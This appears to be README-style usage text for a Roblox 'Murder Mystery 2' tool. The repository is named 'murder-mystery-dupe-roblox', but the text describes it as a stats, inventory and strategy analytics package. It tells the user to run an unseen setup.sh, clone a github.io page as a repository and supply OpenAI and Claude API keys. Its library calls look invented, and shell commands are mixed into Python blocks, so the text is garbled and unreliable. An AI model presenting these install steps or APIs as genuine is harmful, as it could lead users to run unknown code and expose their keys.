chmod +x setup.sh
./setup.sh --install

git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txt

API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
LOG_LEVEL=INFO

# Run comprehensive analytics
python3 main.py --mode analytics --profile <profile_name>

# Export statistics
python3 main.py --mode analytics \
  --profile mystery_solver_01 \
  --export statistics_2026.json \
  --format json \
  --verbose

# Real-time tracking mode
python3 main.py --mode live \
  --profile <profile_name> \
  --interval 60 \
  --log-level DEBUG

# Scan inventory
python3 main.py --mode inventory \
  --scan \
  --profile <profile_name>

# Filter by category
python3 main.py --mode inventory \
  --category knife_skins \
  --rarity legendary,ancient

# Collection completionist check
python3 main.py --mode inventory \
  --check-completionist \
  --export missing_items.json

# Analyze gameplay patterns
python3 main.py --mode strategy \
  --analyze \
  --role sheriff \
  --sessions 50

# Generate strategy recommendations
python3 main.py --mode strategy \
  --recommend \
  --preferred-role murderer \
  --output recommendations.txt

profile:
  username: "MysterySolver2026"
  preferred_role: "sheriff"
  
  inventory_filter:
    - category: "knife_skins"
      rarity: ["legendary", "ancient"]
    - category: "gamepasses"
      active: true
  
  analytics_preferences:
    tracking_mode: "comprehensive"
    data_refresh_rate: 30
    export_format: "csv, json"
    enable_ai_insights: true
  
  strategy_templates:
    - name: "aggressive_sheriff"
      priority: "high_visibility_areas"
      tactics: ["quick_elimination", "crowd_monitoring"]
    
    - name: "passive_innocent"
      priority: "distraction_avoidance"
      tactics: ["stealth_movement", "group_safety"]
    
    - name: "stealth_murderer"
      priority: "isolated_targets"
      tactics: ["ambush", "distraction_creation"]

{
  "data_collection": {
    "enabled": true,
    "interval_seconds": 300,
    "metrics": [
      "win_rate",
      "role_performance",
      "survival_time",
      "elimination_stats"
    ]
  },
  "visualization": {
    "dashboard_port": 8080,
    "auto_refresh": true,
    "chart_types": ["line", "bar", "pie", "scatter"]
  },
  "export": {
    "auto_export": true,
    "formats": ["json", "csv"],
    "directory": "./exports"
  }
}

from mm2_analytics import AnalyticsEngine, InventoryManager, StrategyAnalyzer
import os

# Initialize with environment variables
engine = AnalyticsEngine(
    api_key=os.getenv('API_OPENAI_KEY'),
    data_dir=os.getenv('DATA_DIRECTORY', './data')
)

# Load user profile
profile = engine.load_profile('mystery_solver_01')
print(f"Loaded profile: {profile.username}")

from mm2_analytics import InventoryManager

# Initialize inventory manager
inventory = InventoryManager(profile='mystery_solver_01')

# Scan current inventory
items = inventory.scan()
print(f"Total items: {len(items)}")

# Filter knife skins by rarity
legendary_knives = inventory.filter(
    category='knife_skins',
    rarity=['legendary', 'ancient']
)

for knife in legendary_knives:
    print(f"- {knife.name} (Rarity: {knife.rarity})")

# Export inventory
inventory.export('my_inventory.json', format='json')

from mm2_analytics import MetricsCollector

# Initialize metrics collector
metrics = MetricsCollector(profile='mystery_solver_01')

# Collect performance data
stats = metrics.collect_stats(sessions=100)

print(f"Win Rate: {stats.win_rate:.2f}%")
print(f"Avg Survival Time: {stats.avg_survival_time}s")
print(f"Role Performance:")
for role, perf in stats.role_performance.items():
    print(f"  {role}: {perf:.2f}%")

# Generate visualization
metrics.visualize(
    output='dashboard.html',
    chart_types=['line', 'bar', 'pie']
)

from mm2_analytics import StrategyAnalyzer

# Initialize strategy analyzer
analyzer = StrategyAnalyzer(
    profile='mystery_solver_01',
    ai_enabled=True,
    api_key=os.getenv('API_OPENAI_KEY')
)

# Analyze patterns
patterns = analyzer.analyze_patterns(
    role='sheriff',
    min_sessions=50
)

print("Successful Patterns:")
for pattern in patterns.successful:
    print(f"- {pattern.name}: {pattern.success_rate:.2f}%")

# Get AI recommendations
recommendations = analyzer.get_ai_recommendations(
    preferred_role='murderer',
    playstyle='aggressive'
)

for rec in recommendations:
    print(f"\n{rec.title}")
    print(f"Description: {rec.description}")
    print(f"Expected improvement: {rec.improvement_estimate}%")

from mm2_analytics import DataExporter

# Initialize exporter
exporter = DataExporter(
    data_dir='./data',
    export_dir='./exports'
)

# Export comprehensive statistics
exporter.export_stats(
    profile='mystery_solver_01',
    format='json',
    filename='comprehensive_stats_2026.json',
    include_ai_insights=True
)

# Export as CSV for spreadsheet analysis
exporter.export_stats(
    profile='mystery_solver_01',
    format='csv',
    filename='stats_2026.csv',
    metrics=['win_rate', 'role_performance', 'survival_time']
)

# Batch export multiple profiles
exporter.batch_export(
    profiles=['profile1', 'profile2', 'profile3'],
    format='json',
    combine=True,
    output='team_statistics.json'
)

from mm2_analytics import LiveTracker
import asyncio

# Initialize live tracker
tracker = LiveTracker(
    profile='mystery_solver_01',
    interval=60
)

# Start tracking session
async def track_session():
    await tracker.start()
    
    # Track for 2 hours
    await asyncio.sleep(7200)
    
    # Stop and export
    session_data = await tracker.stop()
    tracker.export(session_data, 'live_session_2026.json')

# Run tracker
asyncio.run(track_session())

import os
from mm2_analytics import (
    AnalyticsEngine,
    InventoryManager,
    MetricsCollector,
    StrategyAnalyzer,
    DataExporter
)

def analyze_mm2_performance(username: str):
    """Complete MM2 analysis workflow"""
    
    # 1. Initialize engine
    engine = AnalyticsEngine(
        api_key=os.getenv('API_OPENAI_KEY'),
        data_dir='./data'
    )
    
    # 2. Load profile
    profile = engine.load_profile(username)
    
    # 3. Scan inventory
    inventory = InventoryManager(profile=username)
    items = inventory.scan()
    print(f"Inventory: {len(items)} items")
    
    # Filter valuable items
    valuable = inventory.filter(
        category='knife_skins',
        rarity=['legendary', 'ancient']
    )
    print(f"Valuable knives: {len(valuable)}")
    
    # 4. Collect metrics
    metrics = MetricsCollector(profile=username)
    stats = metrics.collect_stats(sessions=100)
    
    print(f"\nPerformance Summary:")
    print(f"Win Rate: {stats.win_rate:.2f}%")
    print(f"Best Role: {stats.best_role}")
    
    # 5. Analyze strategy
    analyzer = StrategyAnalyzer(
        profile=username,
        ai_enabled=True,
        api_key=os.getenv('API_OPENAI_KEY')
    )
    
    recommendations = analyzer.get_ai_recommendations(
        preferred_role=profile.preferred_role,
        playstyle='adaptive'
    )
    
    print(f"\nStrategy Recommendations:")
    for rec in recommendations[:3]:
        print(f"- {rec.title}")
    
    # 6. Export comprehensive report
    exporter = DataExporter(export_dir='./exports')
    exporter.export_comprehensive_report(
        profile=username,
        include_inventory=True,
        include_metrics=True,
        include_strategy=True,
        include_ai_insights=True,
        output=f'{username}_report_2026.json'
    )
    
    print(f"\nReport exported: {username}_report_2026.json")

# Run analysis
analyze_mm2_performance('mystery_solver_01')

from mm2_analytics import InventoryManager, CollectionTracker

def check_collection_completeness(username: str):
    """Check collection completeness and identify missing items"""
    
    inventory = InventoryManager(profile=username)
    tracker = CollectionTracker(inventory)
    
    # Get collection status
    status = tracker.get_completeness()
    
    print(f"Collection Completeness: {status.percentage:.2f}%")
    print(f"Total Items: {status.total}")
    print(f"Owned: {status.owned}")
    print(f"Missing: {status.missing}")
    
    # Get missing items by category
    missing_by_category = tracker.get_missing_by_category()
    
    for category, items in missing_by_category.items():
        print(f"\n{category.upper()} - Missing {len(items)}:")
        for item in items[:5]:  # Show top 5
            print(f"  - {item.name} (Rarity: {item.rarity})")
    
    # Export missing items list
    tracker.export_missing_items('missing_items.json')

check_collection_completeness('mystery_solver_01')

from mm2_analytics import ProfileComparator

def compare_profiles(profile_names: list):
    """Compare performance across multiple profiles"""
    
    comparator = ProfileComparator(profiles=profile_names)
    
    # Get comparative stats
    comparison = comparator.compare(
        metrics=['win_rate', 'survival_time', 'role_performance']
    )
    
    print("Profile Comparison:")
    for profile_name in profile_names:
        stats = comparison[profile_name]
        print(f"\n{profile_name}:")
        print(f"  Win Rate: {stats.win_rate:.2f}%")
        print(f"  Avg Survival: {stats.avg_survival}s")
        print(f"  Best Role: {stats.best_role}")
    
    # Visualize comparison
    comparator.visualize_comparison(
        output='profile_comparison.html',
        chart_type='radar'
    )

compare_profiles(['profile1', 'profile2', 'profile3'])

import os

# Verify environment variables are set
required_vars = ['API_OPENAI_KEY', 'API_CLAUDE_KEY']
for var in required_vars:
    if not os.getenv(var):
        print(f"WARNING: {var} not set")

# Ensure data directory exists and is writable
mkdir -p ./data/collections
chmod 755 ./data/collections

from mm2_analytics import AnalyticsEngine

engine = AnalyticsEngine()

try:
    profile = engine.load_profile('username')
except FileNotFoundError:
    print("Profile not found. Creating new profile...")
    profile = engine.create_profile(
        username='username',
        preferred_role='sheriff'
    )
    profile.save()

from mm2_analytics import DataExporter

exporter = DataExporter(export_dir='./exports')

try:
    exporter.export_stats('profile', format='json')
except PermissionError:
    print("Permission denied. Check export directory permissions.")
except Exception as e:
    print(f"Export failed: {e}")
    # Fallback to alternative location
    exporter = DataExporter(export_dir='/tmp/mm2_exports')
    exporter.export_stats('profile', format='json')

# Enable debug logging
export LOG_LEVEL=DEBUG
python3 main.py --mode analytics --verbose --log-level DEBUG

import logging

# Configure logging in Python
logging.basicConfig(
    level=logging.DEBUG,
    format='[%(asctime)s] %(levelname)s: %(message)s'
)

from mm2_analytics import AIInsightGenerator

generator = AIInsightGenerator(
    openai_key=os.getenv('API_OPENAI_KEY'),
    claude_key=os.getenv('API_CLAUDE_KEY')
)

# Generate insights from session data
insights = generator.analyze_session(
    profile='mystery_solver_01',
    session_id='session_123',
    include_predictions=True
)

print("AI Insights:")
for insight in insights:
    print(f"\n{insight.category}: {insight.text}")
    print(f"Confidence: {insight.confidence:.2f}")

from mm2_analytics import StrategyTemplate

# Define custom strategy
template = StrategyTemplate(
    name='ninja_murderer',
    role='murderer',
    tactics=[
        'stealth_movement',
        'isolated_targeting',
        'crowd_avoidance'
    ],
    priority_areas=['shadows', 'corners', 'secondary_rooms'],
    success_metrics=['low_detection_rate', 'high_elimination_speed']
)

# Save template
template.save('strategies/ninja_murderer.yaml')

# Apply to analyzer
analyzer = StrategyAnalyzer(profile='mystery_solver_01')
analyzer.apply_template(template)